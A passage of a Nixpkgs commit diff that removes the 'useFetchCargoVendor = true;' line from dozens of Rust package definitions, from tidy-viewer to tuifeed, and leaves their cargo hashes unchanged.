   cargoHash = "sha256-Ii9Fn6J5qpqigH7oWIfOX+JKkzQ2BNpeNg1sF+ONCrM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ti/tidy-viewer/package.nix b/pkgs/by-name/ti/tidy-viewer/package.nix
index 09a9dcd7dbfc..3bd0da265d03 100644
--- a/pkgs/by-name/ti/tidy-viewer/package.nix
+++ b/pkgs/by-name/ti/tidy-viewer/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-OnvRiQ5H/Vsmfu+F1i68TowjrDwQLQtV1sC6Jrp4xA4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-k/8crmGkFOLcakL5roYrSBVoYyGMELh1Mu/X6SlUeds=";
 
   # this test parses command line arguments
diff --git a/pkgs/by-name/ti/timewall/package.nix b/pkgs/by-name/ti/timewall/package.nix
index 9df87522e09b..a17a50feebd2 100644
--- a/pkgs/by-name/ti/timewall/package.nix
+++ b/pkgs/by-name/ti/timewall/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KUPy/mv6cV0BmvBcom+cCXk0s4Erz0hf5dg1i5QB0OE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JOsCGHHbHx2yoFYdFWIYPHfgCfQjEtZA869+2OQ4jKA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ti/tinty/package.nix b/pkgs/by-name/ti/tinty/package.nix
index 4614df10458d..87f43a7025db 100644
--- a/pkgs/by-name/ti/tinty/package.nix
+++ b/pkgs/by-name/ti/tinty/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-3gJRVKkC3B+DVfVmvlRjBdp6cD5x5wZMX3p4PWVIjno=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CJcPhUxClxk2SQAbAt1hzX7QbAhpXQCEc4xy1ADkAtk=";
 
   # Pretty much all tests require internet access
diff --git a/pkgs/by-name/ti/tiny/package.nix b/pkgs/by-name/ti/tiny/package.nix
index 3003e119d279..8066ff1e0424 100644
--- a/pkgs/by-name/ti/tiny/package.nix
+++ b/pkgs/by-name/ti/tiny/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-phjEae2SS3zkSpuhhE4iscUM8ij8DT47YLIMATMG/+Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lyjTl0kbtfQdqSqxti1181+oDVYP4U++v2JEOYvI7aM=";
 
   nativeBuildInputs = lib.optional stdenv.hostPlatform.isLinux pkg-config;
diff --git a/pkgs/by-name/ti/tinymist/package.nix b/pkgs/by-name/ti/tinymist/package.nix
index ebcae270462e..5346d9f4b3fa 100644
--- a/pkgs/by-name/ti/tinymist/package.nix
+++ b/pkgs/by-name/ti/tinymist/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-5uokMl+ZgDKVoxnQ/her/Aq6c69Gv0ngZuTDH0jcyoE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GJJXTVm7hLmMaRJnpmslrpKNHnyhgo/6ZWXU//xl1Vc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tl/tlafmt/package.nix b/pkgs/by-name/tl/tlafmt/package.nix
index 05366eb1b1ce..cf839f40cc13 100644
--- a/pkgs/by-name/tl/tlafmt/package.nix
+++ b/pkgs/by-name/tl/tlafmt/package.nix
@@ -14,8 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-79tCH4O7VFqiYloCAGVw7JJ5WvsFnjjKdBNmMPar+sk=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-79eI2POpYr7nUThsWohetEzG17JAxMOVul5soJxYYms=";
 
   meta = {
diff --git a/pkgs/by-name/tl/tlrc/package.nix b/pkgs/by-name/tl/tlrc/package.nix
index fd8c7f19b16f..a2d64f28add4 100644
--- a/pkgs/by-name/tl/tlrc/package.nix
+++ b/pkgs/by-name/tl/tlrc/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SPYLQ7o3sbrjy3MmBAB0YoVJI1rSmePbrZY0yb2SnFE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i2nSwsQnwhiMhG8QJb0z0zPuNxTLwuO1dgJxI4e4FqY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/tm/tmux-sessionizer/package.nix b/pkgs/by-name/tm/tmux-sessionizer/package.nix
index d95e7d74c1f9..223edf4353ee 100644
--- a/pkgs/by-name/tm/tmux-sessionizer/package.nix
+++ b/pkgs/by-name/tm/tmux-sessionizer/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-uoSm9oWZSiqwsg7dVVMay9COL5MEK3a5Pd+D66RzzPM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fd0IEORqnqxKN9zisXTT0G8CwRNVsGd3HZmCVY5DKsM=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/to/to-html/package.nix b/pkgs/by-name/to/to-html/package.nix
index f4b57320848a..349a81d25f93 100644
--- a/pkgs/by-name/to/to-html/package.nix
+++ b/pkgs/by-name/to/to-html/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eNFt9/yK4oHOspNM8PMTewhx8APaHzmgNdrWqrUuQSU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EeR0nzTKQ4fB/tXuPIWokSNBQIthGpxSySsASo74A/A=";
 
   # Requires external resources
diff --git a/pkgs/by-name/to/toast/package.nix b/pkgs/by-name/to/toast/package.nix
index ea88fde7dcaf..489cd6c9005b 100644
--- a/pkgs/by-name/to/toast/package.nix
+++ b/pkgs/by-name/to/toast/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-vp70jv4F0VKd/OZHVRDcIJlKLwK9w+cV28lh0C7ESqg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3sBb6etSicYvEOIuLARUxo21ulVQ5qVsz65lAtuG+B4=";
 
   checkFlags = [ "--skip=format::tests::code_str_display" ]; # fails
diff --git a/pkgs/by-name/to/toastify/package.nix b/pkgs/by-name/to/toastify/package.nix
index 7271aa6834c9..e795230b4582 100644
--- a/pkgs/by-name/to/toastify/package.nix
+++ b/pkgs/by-name/to/toastify/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-hSBh1LTfe3rQDPUryo2Swdf/yLYrOQ/Fg3Dz7ZqV3gw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xnmns0YXsKuoNxxax3St5pLiFwu6BD0iIYHNi9N9mO0=";
 
   preBuild = lib.optionalString stdenv.hostPlatform.isDarwin ''
diff --git a/pkgs/by-name/to/todo/package.nix b/pkgs/by-name/to/todo/package.nix
index 34d97ea887d7..fb27016be9bb 100644
--- a/pkgs/by-name/to/todo/package.nix
+++ b/pkgs/by-name/to/todo/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "oyRdXvVnCfdFM8lI1eCDHHYNWcJc0Qg0TKxQXUqNo40=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mRLTQYkKXxhcwI2Ra/HCkxejDl3nnraJw+VCqRgCUig=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/to/toipe/package.nix b/pkgs/by-name/to/toipe/package.nix
index f44de64d146a..cea9da10f33d 100644
--- a/pkgs/by-name/to/toipe/package.nix
+++ b/pkgs/by-name/to/toipe/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-L4JemOxpynGYsA8FgHnMv/hrogLSRaaiIzDjxzZDqjM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bBkHqcPWE6jkqvUZ28ukUidET9XkRQ9t9bfTpHC5Jyo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/to/tokio-console/package.nix b/pkgs/by-name/to/tokio-console/package.nix
index 486d20765c52..eddaf47fa17a 100644
--- a/pkgs/by-name/to/tokio-console/package.nix
+++ b/pkgs/by-name/to/tokio-console/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KqX+s1oQIRyqAP+0iGrZiT8lB+cGviY1vtHaXy5Q6TA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9jnBgrfB0nWOq2+hfDq3/2Wo4z7WSfBKxoGrQ888lKw=";
 
   buildAndTestSubdir = "tokio-console";
diff --git a/pkgs/by-name/to/tombl/package.nix b/pkgs/by-name/to/tombl/package.nix
index d4dba7abdf4f..6ceb7edd459b 100644
--- a/pkgs/by-name/to/tombl/package.nix
+++ b/pkgs/by-name/to/tombl/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XHvAgJ8/+ZkBxwZpMgaDchr0hBa1FXAd/j1+HH9N6qw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A3zdDzmwX2gdTLLWnUGeiqY1R5PBKZRmEHdIi1Uveaw=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/to/toml-cli/package.nix b/pkgs/by-name/to/toml-cli/package.nix
index f363b03b6d40..f1f51f9078ce 100644
--- a/pkgs/by-name/to/toml-cli/package.nix
+++ b/pkgs/by-name/to/toml-cli/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-V/yMk/Zt3yvEx10nzRhY/7GYnQninGg9h63NSaQChSA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PoqVMTCRmSTt7UhCpMF3ixmAfVtpkaOfaTTmDNhrpLA=";
 
   cargoTestFlags = [
diff --git a/pkgs/by-name/to/toml2json/package.nix b/pkgs/by-name/to/toml2json/package.nix
index 7a5b5834a2ee..a03ee7dd94d1 100644
--- a/pkgs/by-name/to/toml2json/package.nix
+++ b/pkgs/by-name/to/toml2json/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9q2HtNzsRO0/5gcmxUfWuQlWsfvw/A21WEXZlifCUjY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IglwVFTKOQFln/LE76+QM4P0J9dDM83jSAF6jGGNLEg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/to/tomlq/package.nix b/pkgs/by-name/to/tomlq/package.nix
index 171783c03936..12faeecefc4e 100644
--- a/pkgs/by-name/to/tomlq/package.nix
+++ b/pkgs/by-name/to/tomlq/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-g8xjz8qCTiulTwcEbLTHYldw4PI+4ZfCOMJs+J6L1C4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/n1+8n0zGs9qS5QQcAfXJ1kmRkcfsCTxQonEaFsNdHo=";
 
   meta = {
diff --git a/pkgs/by-name/to/tooling-language-server/package.nix b/pkgs/by-name/to/tooling-language-server/package.nix
index dc7d529230f3..fbd85f9651f4 100644
--- a/pkgs/by-name/to/tooling-language-server/package.nix
+++ b/pkgs/by-name/to/tooling-language-server/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0FF9p3Z8C3C/fcTvu66ozCs/G3UAJ/Kf2v+4IZU4eCA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DxQMAnlE8oWtigU1gUEdTdBIvEtbL8xhaPLx6kt8T2c=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/to/topfew-rs/package.nix b/pkgs/by-name/to/topfew-rs/package.nix
index 0caaee2629ea..5f4b29c046e4 100644
--- a/pkgs/by-name/to/topfew-rs/package.nix
+++ b/pkgs/by-name/to/topfew-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VlSLPcKw3LYGnmKk5YOkcGIizw1tqtKF2BykY+1MtvY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NAM/s3m+ZqgHoX6GESgJOxr88sy4+JieWB8u8aKbW7Y=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/to/topgrade/package.nix b/pkgs/by-name/to/topgrade/package.nix
index 099046b2001f..3c0dd0884858 100644
--- a/pkgs/by-name/to/topgrade/package.nix
+++ b/pkgs/by-name/to/topgrade/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TLeShvDdVqFBIStdRlgF1Zmi8FwS9pmeQ9qOu63nq/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Tu4exuUhsk9hGDreQWkPrYvokZh0z6DQSQnREO40Qwc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/to/topiary/package.nix b/pkgs/by-name/to/topiary/package.nix
index aec44e36ed7f..9391a437a739 100644
--- a/pkgs/by-name/to/topiary/package.nix
+++ b/pkgs/by-name/to/topiary/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [ installShellFiles ];
   nativeInstallCheckInputs = [ versionCheckHook ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EqalIF1wx3F/5CiD21IaYsPdks6Mv1VfwL8OTRWsWaU=";
 
   # https://github.com/NixOS/nixpkgs/pull/359145#issuecomment-2542418786
diff --git a/pkgs/by-name/to/tox-node/package.nix b/pkgs/by-name/to/tox-node/package.nix
index 906daf467030..2108eded9060 100644
--- a/pkgs/by-name/to/tox-node/package.nix
+++ b/pkgs/by-name/to/tox-node/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   buildAndTestSubdir = "tox_node";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UNvhls6qY1u9STr8PsgcUfFYRDTlqvxB3M57j/fdkH8=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/tp/tp-auto-kbbl/package.nix b/pkgs/by-name/tp/tp-auto-kbbl/package.nix
index d5d2915627ec..14fd7d51b01b 100644
--- a/pkgs/by-name/tp/tp-auto-kbbl/package.nix
+++ b/pkgs/by-name/tp/tp-auto-kbbl/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fhBCsOjaQH2tRsBjMGiDmZSIkAgEVxxywVp8/0uAaTU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ptc4m+99YknHY28DR5WHt/JG9tgUOcbz/TezUkezmS8=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/tp/tpi/package.nix b/pkgs/by-name/tp/tpi/package.nix
index 0e2135103417..a4b3ac4cfda6 100644
--- a/pkgs/by-name/tp/tpi/package.nix
+++ b/pkgs/by-name/tp/tpi/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-se5+8Zf+RKtvfkmDDxKiUVp5J+bQ9j9RFedDK/pxCgA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-neXFAMeo/LG3beNoR9q2gAZhlNrk0T4A5IdqR2cZocs=";
 
   meta = {
diff --git a/pkgs/by-name/tp/tplay/package.nix b/pkgs/by-name/tp/tplay/package.nix
index 2c567f0254a1..b8f1c1070f77 100644
--- a/pkgs/by-name/tp/tplay/package.nix
+++ b/pkgs/by-name/tp/tplay/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SRn7kg5FdSimKMFowKNUIan+MrojtNO0apeehIRTzfw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SzOx9IPp+TjiJpAEX8+GhZ+UEEmqNpI67S40OiYrHfM=";
   checkFlags = [
     # requires network access
diff --git a/pkgs/by-name/tp/tpnote/package.nix b/pkgs/by-name/tp/tpnote/package.nix
index 73d1be81f878..b9d41680c197 100644
--- a/pkgs/by-name/tp/tpnote/package.nix
+++ b/pkgs/by-name/tp/tpnote/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+JpV9gJsnK/YFOl+9rS0V0kFtmwkZNmVRzKUypeSvuQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1nFtcjJLuAfBQDtBT20E7Fr5Yrl93tsE4J/CSGbLo+M=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tp/tpsecore/package.nix b/pkgs/by-name/tp/tpsecore/package.nix
index b4501a90f222..390a71132ee3 100644
--- a/pkgs/by-name/tp/tpsecore/package.nix
+++ b/pkgs/by-name/tp/tpsecore/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-+OynnLMBEiYwdFzxGzgkcBN6xrHoH1Q6O5i+OW7RBLo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EM/THiR0NV4N3mFGjRYe1cpaF82rCYnOPLxv67BronU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tr/tracexec/package.nix b/pkgs/by-name/tr/tracexec/package.nix
index 326e9681c57b..113d0c123668 100644
--- a/pkgs/by-name/tr/tracexec/package.nix
+++ b/pkgs/by-name/tr/tracexec/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
   # remove if updating to rust 1.85
   env.RUSTC_BOOTSTRAP = 1;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XuuLuIeD/S60by/hg1fR+ML3PtIyX9JNrEvgGzI3UiM=";
 
   hardeningDisable = [ "zerocallusedregs" ];
diff --git a/pkgs/by-name/tr/transmission-rss/package.nix b/pkgs/by-name/tr/transmission-rss/package.nix
index e87517d42903..11b053d742c8 100644
--- a/pkgs/by-name/tr/transmission-rss/package.nix
+++ b/pkgs/by-name/tr/transmission-rss/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
 
   cargoPatches = [ ./update-cargo-lock-version.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ETbWV5OjRzQuq/rVyu22YRFjeQcuNA1REyzg46s3q5A=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/tr/trashy/package.nix b/pkgs/by-name/tr/trashy/package.nix
index 3ed051316e80..f6f4cd49f484 100644
--- a/pkgs/by-name/tr/trashy/package.nix
+++ b/pkgs/by-name/tr/trashy/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1xHyhAV8hpgMngQdamRzEliyG60t+I3KfsDJi0+180o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tlz8WeFOxNPJxCqwqH98S/JkU7MZSDj/OaPvNkf6iwg=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/tr/tray-tui/package.nix b/pkgs/by-name/tr/tray-tui/package.nix
index f7cf682d32a6..157c0812b8a6 100644
--- a/pkgs/by-name/tr/tray-tui/package.nix
+++ b/pkgs/by-name/tr/tray-tui/package.nix
@@ -16,8 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yCA0qN51xrfhHOL34prn6T4qZ7PsLHX1l2yd4o6oGCo=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-m6m9zZ/H1FpEDTh1M94ZwxLht1Of13xNqM7T3igjc6M=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tr/tre-command/package.nix b/pkgs/by-name/tr/tre-command/package.nix
index f7e239e2acd9..8ad6c590f44a 100644
--- a/pkgs/by-name/tr/tre-command/package.nix
+++ b/pkgs/by-name/tr/tre-command/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-JlkONhXMWLzxAf3SYoLkSvXw4bFYBnsCyyj0TUsezwg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-a3k5P+i0jLqamP2CInSQjivyI/tREeJME6IqI/YiLog=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/tr/treedome/package.nix b/pkgs/by-name/tr/treedome/package.nix
index ae557127722e..38acee068b71 100644
--- a/pkgs/by-name/tr/treedome/package.nix
+++ b/pkgs/by-name/tr/treedome/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     fetchLFS = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-scCF4xpc1COdlg57/eNTPdgY7/cJkdcc2s1YNraXzXk=";
 
   offlineCache = fetchYarnDeps {
diff --git a/pkgs/by-name/tr/triforce-lv2/package.nix b/pkgs/by-name/tr/triforce-lv2/package.nix
index e4e2228373da..f88eba95974a 100644
--- a/pkgs/by-name/tr/triforce-lv2/package.nix
+++ b/pkgs/by-name/tr/triforce-lv2/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qEN/KQup4bpHCt8GpsiJ2wfUQxM8F9DWuGHEJiBVfQA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mTvxPS1OpGhPqKzMC0XSJZaNEFajlEVkG3o1vk3+LNM=";
 
   installPhase = ''
diff --git a/pkgs/by-name/tr/trippy/package.nix b/pkgs/by-name/tr/trippy/package.nix
index 5d928123fc4b..7bed7964fcdd 100644
--- a/pkgs/by-name/tr/trippy/package.nix
+++ b/pkgs/by-name/tr/trippy/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+PaSLq++tKA6dy4CI1EYrEDdXi2TI9XHjvMLfwDp/HA=";
 
   cargoBuildFlags = [ "--package trippy" ];
diff --git a/pkgs/by-name/tr/trojan-rs/package.nix b/pkgs/by-name/tr/trojan-rs/package.nix
index 702797dd0b46..422db3cbc707 100644
--- a/pkgs/by-name/tr/trojan-rs/package.nix
+++ b/pkgs/by-name/tr/trojan-rs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-rtYvsFxxhkUuR/tLrRFvRBLG8C84Qs0kYmXkNP/Ai3c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1HrIjkv/CyHCiC3RzQ2M8kHl74eMsWNfypr8PsL6kA0=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
diff --git a/pkgs/by-name/tr/trunk-ng/package.nix b/pkgs/by-name/tr/trunk-ng/package.nix
index 3a865c733f70..324b1797c525 100644
--- a/pkgs/by-name/tr/trunk-ng/package.nix
+++ b/pkgs/by-name/tr/trunk-ng/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
   # requires network
   checkFlags = [ "--skip=tools::tests::download_and_install_binaries" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jDewjDm7Nh09CkRdPG0/ELn4odz/aaRNg8GegDxK6f8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tr/trunk/package.nix b/pkgs/by-name/tr/trunk/package.nix
index 81d86f7b08af..66c7796c7d00 100644
--- a/pkgs/by-name/tr/trunk/package.nix
+++ b/pkgs/by-name/tr/trunk/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
   # requires network
   checkFlags = [ "--skip=tools::tests::download_and_install_binaries" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/5zvbSlMzZHxnAwuu0Jd6WVVjxJtIAQpRwZZHgYyPbs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ts/ts_query_ls/package.nix b/pkgs/by-name/ts/ts_query_ls/package.nix
index 3a1a4c03bd90..6f90b8fc1be8 100644
--- a/pkgs/by-name/ts/ts_query_ls/package.nix
+++ b/pkgs/by-name/ts/ts_query_ls/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
 
   nativeBuildInputs = [ cmake ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IlvUpEpdMocJ1d5GVWmuKfVRdOskuzIiqP6uSg/QxZc=";
 
   meta = {
diff --git a/pkgs/by-name/tt/ttags/package.nix b/pkgs/by-name/tt/ttags/package.nix
index 879f8b4fecf9..a65cfd1ba4a5 100644
--- a/pkgs/by-name/tt/ttags/package.nix
+++ b/pkgs/by-name/tt/ttags/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-z0IxGdveMtCXmCKD4jp/BEA6mtTl4CitIrVhM6BtHzA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XgtBcEVfeR0yYKJkpFfA8pXk1S1fg+2QS8o7n9G1CXU=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/tt/ttdl/package.nix b/pkgs/by-name/tt/ttdl/package.nix
index a2d37d182987..74e280164459 100644
--- a/pkgs/by-name/tt/ttdl/package.nix
+++ b/pkgs/by-name/tt/ttdl/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-REfk8m5ZYfms5hjzbYdqe27z3/qGzC0CLWQ/Cj3418Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dr/hT8mVUlO0pX/OGqIqPDevflNVPD88epLZsW772Os=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tt/ttfb/package.nix b/pkgs/by-name/tt/ttfb/package.nix
index 31d4e2bc9212..700d432adc51 100644
--- a/pkgs/by-name/tt/ttfb/package.nix
+++ b/pkgs/by-name/tt/ttfb/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OOVqCWeF5cHMweEGWYIiWWWsw1QlNDFgnia05Qxo7uo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4Nsg5/66enMgAfPrUQHuhOTTwG2OWyyvKMHIhPnlHko=";
 
   # The bin feature activates all dependencies of the binary. Otherwise,
diff --git a/pkgs/by-name/tt/ttyper/package.nix b/pkgs/by-name/tt/ttyper/package.nix
index 17c4096da056..4fe025f650b0 100644
--- a/pkgs/by-name/tt/ttyper/package.nix
+++ b/pkgs/by-name/tt/ttyper/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-g4OD4Mc3KHN9rrzM+9JvN2xTnSojGQy6yptdGj3zgW4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-M8LG/rZLFRUztniCmUuyj5mdzH3qUKoj02uUQ2zlq8M=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tt/ttysvr/package.nix b/pkgs/by-name/tt/ttysvr/package.nix
index cbd0fdb61949..64779dc217c1 100644
--- a/pkgs/by-name/tt/ttysvr/package.nix
+++ b/pkgs/by-name/tt/ttysvr/package.nix
@@ -23,7 +23,7 @@ rustPlatform.buildRustPackage rec {
     tag = "v${version}";
     hash = "sha256-W8IglZVvhFqn0TH1ZBGWERizCxCQ+C4SckYFLCzB3yc=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-iMzHoB1nfRDDSpHBrwKzW64fw7aYqh7uB14idbHTKH0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tu/tuc/package.nix b/pkgs/by-name/tu/tuc/package.nix
index d07b518c253a..63dd006850c4 100644
--- a/pkgs/by-name/tu/tuc/package.nix
+++ b/pkgs/by-name/tu/tuc/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-+QkkwQfp818bKVo1yUkWKLMqbdzRJ+oHpjxB+UFDRsU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ry7S/Pqo3AoUKCyGFfV9RNWOguBwajJ8rOqRg+LFReY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tu/tuckr/package.nix b/pkgs/by-name/tu/tuckr/package.nix
index 3251db7cc3a1..73c02d366ce4 100644
--- a/pkgs/by-name/tu/tuckr/package.nix
+++ b/pkgs/by-name/tu/tuckr/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-EGoxM/dAKlIE/oYRH17VcGJNNaPJPDUW4tB6CG+eyFQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ltlJhlvDP1cJqPG7US9h7qx+KA/5gudZUqULsxTVJbU=";
 
   doCheck = false; # test result: FAILED. 5 passed; 3 failed;
diff --git a/pkgs/by-name/tu/tuicam/package.nix b/pkgs/by-name/tu/tuicam/package.nix
index 344478d30ab1..3f27c01850b6 100644
--- a/pkgs/by-name/tu/tuicam/package.nix
+++ b/pkgs/by-name/tu/tuicam/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Ry64sd0OYGqbiVqveU05gsmf1c9kQy2QMN9Z5seMedc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-z+5fVSl9zFdOFNCCf49iVltAm+rZcJtLsz+zLCUlC6o=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tu/tuifeed/package.nix b/pkgs/by-name/tu/tuifeed/package.nix
index ef4915dc524f..cd900860738f 100644
--- a/pkgs/by-name/tu/tuifeed/package.nix
+++ b/pkgs/by-name/tu/tuifeed/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CL6cd9OfvnA5N4W3rGl7XLcnlSrh3kcqA7idxexkjA4=";
   };
 
-  useFetchCargoVendor = true;
